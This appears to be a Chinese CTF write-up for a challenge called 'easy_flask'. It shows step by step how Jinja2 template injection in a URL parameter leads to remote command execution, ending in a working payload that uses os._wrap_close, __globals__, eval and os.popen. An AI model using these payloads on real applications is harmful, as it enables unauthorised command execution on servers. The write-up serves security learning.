只看了一道题,后面比赛结束了没得浮现环境了做不了了,所以只写了一道题的wp

easy_flask

image-20250117102751210

那两个链接没什么用,登录进去后对着url中user参数进行ssti注入就可以

image-20250117103004118

这样就可以看出是存在ssti了

1
2
3
4
5
6
7
8
第一步,拿到当前类,也就是用__class__
{{"".__class__}}
<class 'str'>
第二步,拿到基类,这里可以用__base__,也可以用__mro__
{{"".__class__.__base__}}
<class 'object'>
第三步,拿到基类的子类,用__subclasses__()
{{"".__class__.__base__.__subclasses__()}}

大多数利用的是os._wrap_close这个类,可以执行命令,但是需要注意的是,这个类是python的标准库,所以需要在python环境下运行。

所以我们搜索一下这个类,然后看看这个类的下标

image-20250117103132301

image-20250117103156872

然后我们搜索逗号确定这个类的下标

image-20250117103255268然后我们来利用这个类

首先先调用它的__init__方法进行初始化类

1
{{"".__class__.__bases__[0]. __subclasses__()[133].__init__.__globals__}}

通过利用popen去执行命令

1
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

然后看到flag了

image-20250117104243002

跟进拿flag就可以

讲一下我们的思路

一开始是通过class通过 base 拿到object基类,接着利用 subclasses() 获取对应子类。在全部子类中找到被重载的类即为可用的类,然后通过init去获取globals全局变量,接着通过builtins获取eval函数,最后利用popen命令执行、read()读取即可。

这道题还是相对来说简单很多,一点过滤都没有

简单算术

放到CyberChef中一把梭

image-20250117111139650